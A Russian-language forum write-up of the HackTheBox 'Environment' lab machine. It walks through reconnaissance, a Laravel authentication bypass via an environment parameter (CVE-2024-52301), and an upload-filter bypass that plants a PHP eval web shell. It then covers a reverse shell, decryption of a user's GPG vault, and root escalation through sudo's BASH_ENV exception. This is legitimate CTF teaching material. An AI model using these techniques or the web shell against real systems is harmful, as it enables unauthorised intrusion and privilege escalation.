Загрузка...

Прохождение машины Environment с HackTheBox | HackTheBox Environment Writeup

Тема в разделе Веб уязвимости создана пользователем CoJleHblu 30 июл 2025 в 01:54. 26 просмотров

  1. CoJleHblu
    CoJleHblu Автор темы 30 июл 2025 в 01:54 4 2 янв 2021
    Всем привет  :abizyan:
    В этом writeup разберём машину Environment среднего уровня из HackTheBox – от первоначального сканирования до получения рут-доступа. По моему мнению, эта тачка достаточно линейная и отлично подходит для практики CVE‑2024‑52301, файловых загрузок и GPG‑эскалации. :da:

    Для начала просканируем порты с помощью Nmap:
    Код
    sudo nmap -v -sC -sV 10.10.11.67 -oN ../nmap/initial
    Получаем такой результат:
    Код
    PORT   STATE SERVICE VERSION
    22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
    | ssh-hostkey:
    | 256 5c:02:33:95:ef:44:e2:80:cd:3a:96:02:23:f1:92:64 (ECDSA)
    |_ 256 1f:3d:c2:19:55:28:a1:77:59:51:48:10:c4:4b:74:ab (ED25519)
    80/tcp open http nginx 1.22.1
    |_http-server-header: nginx/1.22.1
    |_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
    | http-methods:
    |_ Supported Methods: GET HEAD
    |_http-title: Save the Environment | environment.htb
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    Добавим environment.htb в /etc/hosts, чтобы перейти на этот сайт:
    Код
    echo "10.10.11.67 environment.htb" | sudo tee -a /etc/hosts
    Теперь переходим на сайт
    [IMG]
    Просканируем на наличие других директорий с помощью инструмента gobuster:
    Код
    gobuster dir -u http://environment.htb/ --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [IMG]
    Нашлись директории. Если перейдем в директорию с кодом 405, увидим следующее:
    [IMG]
    [IMG]
    Видим, что в этом веб приложении работает сервис Laravel версии 11.30.0.
    Перейдем на страницу login. Попробуем залогиниться и перехватим запрос с помощью Burp Suite:
    [IMG]
    [IMG]
    В запросе видим, что есть параметр &remember=False. Попробуем убрать его и отправить запрос заново:
    [IMG]
    Видим, что remember должен быть обязательно в запросе. Попробуем его оставить, но вместо True или False напишем 111.
    [IMG]
    [IMG]
    Здесь есть интересный блок кода, в котором написано "login directly as me in dev/local/preprod envs". Ниже в коде написано, что если в Laravel текущая среда predprod, то пользователь автоматически входит в систему под user_id=1. Попробуем найти что-то об этом в интернете.
    Нашел сайт , на котором описана данная уязвимость и указано, что это CVE-2024-52301. Поищем что-то про это на GitHub. В этом репозитории написано, что для смены текущей среды необходимо в URL добавить ?--env=.... В нашем случае надо добавить ?--env=preprod.
    [IMG]
    [IMG]
    Мы получили доступ к личному кабинету пользователя Hish.
    Видим, что есть возможность загружать изображение, чтобы поменять аватар профиля. Попробуем загрузить картинку и перехватим запрос:
    [IMG]
    Также поймаем запрос, который загружает картинку при загрузке профиля:
    [IMG]
    /storage/files/image.png - путь, в котором лежит наша картинка. Так как файлы доступны на прямую по пути /storage/files/..., в теории мы можем загрузить PHP скрипт, который выполнится при переходе на него. Попробуем загрузить такой PHP скрипт
    PHP
    <?php eval($_GET["cmd"]);?>
    [IMG]
    Поменяем Content-Type: application/x-PHP на Content-Type: image/jpg, filename="eval-exploit.PHP" на filename="eval-exploit.PHP." и перед PHP кодом добавим какое-то содержимое, чтобы показать, что это картинка, например GIF89a
    [IMG]
    [IMG]
    Теперь перейдем по адресу и проверим работает ли PHP файл:
    PHP
    http://environment.htb/storage/files/eval-exploit.php?cmd=phpinfo();
    [IMG]
    Видим, что PHP скрипт выполняется. Теперь попробуем загрузить reverse shell.
    [IMG]
    Запускаем прослушивание порта и переходим по URL, чтобы открыть PHP файл
    Код
    http://environment.htb//storage/files/reverse-shell.php
    Код
    sudo ncat -lvnp 4444
    И находим первый флаг:
    [IMG]
    Итак, 70% всей работы сделаны. Осталось дело за малым :da:
    Заспавним нормальный TTY, чтобы спокойно пользоваться терминалом.
    Код
    python3 -c 'import pty,os,sys; pty.spawn("/bin/bash")'
    Далее смотрим что есть интересного в /var/www/. Была найдена база данных SQLite3. Откроем ее и вытащим данные:
    [IMG]
    Есть хэш пользователя Hish
    В домашней директории Hish есть директория backup, в которой лежит файл keyvault.gpg.
    [IMG]
    .gpg — это объект в формате OpenPGP.
    [IMG]
    Просмотрим содержимое домашней директории Hish:
    [IMG]
    Есть директория .gnupg, в которой лежат секретные OpenPGP-ключи самого Hish. Когда файл шифруют публичным ключом пользователя, расшифровать может только держатель его приватного ключа.
    Скопируем эту директорию в /tmp/mygpg и поменяем доступ к этой директории на 700, чтобы каталог был недоступен другим; иначе он откажется работать.
    [IMG]
    Указываем новую домашнюю директорию для этой директории и выводим секретные ключи.
    Код
    gpg --homedir /tmp/mygpg --list-secret-keys
    [IMG]
    Приватный ключ действительно там и без passphrase. Далее снимем шифр и запишем результат в /tmp/message.txt:
    [CODE=code]gpg --homedir /tmp/mygpg --output /tmp/message.txt --decrypt /home/hish/backup/keyvault.gpg[/CODE]Файл keyvault.gpg был зашифрован на публичный ключ Hish (или симметрично тем же паролем, что уже в агенте). GPG подобрал подходящий секретный ключ и снял шифр.
    [IMG]
    Теперь есть 3 пароля. Попробуем подключиться по SSH к Hish:
    [IMG]
    Подошел пароль marineSPm@ster!!
    Теперь посмотрим какие команды может выполнять пользователь с sudo:
    [IMG]
    sudo сбрасывает почти все переменные окружения (env_reset), но в sudoers оставили исключение env_keep+="ENV BASH_ENV".
    /usr/bin/systeminfo это просто bash скрипт.
    [IMG]
    Bash-справка говорит: если скрипт запускается не-интерактивно и в окружении есть BASH_ENV, bash исполняет содержимое указанного файла до начала скрипта. Значит, достаточно подменить BASH_ENV, чтобы наш код выполнился от root до того, как скрипт начнёт работать.
    Создадим злой скрипт, указываем его в BASH_ENV с запускаем разрешённый скрипт. Получаем флаг root
    [IMG]

    По итогу, мы обошли авторизацию Laravel через подмену среды (?--env=preprod), загрузили в форму аватара PHP‑скрипт для получения RCE и «поймали» обратный shell. Далее из домашней директории пользователя извлекли и расшифровали GPG‑архив, подключились по SSH и с помощью env_keep=BASH_ENV в sudo эскалировали права до root :cool_bun:
     
Top
Загрузка...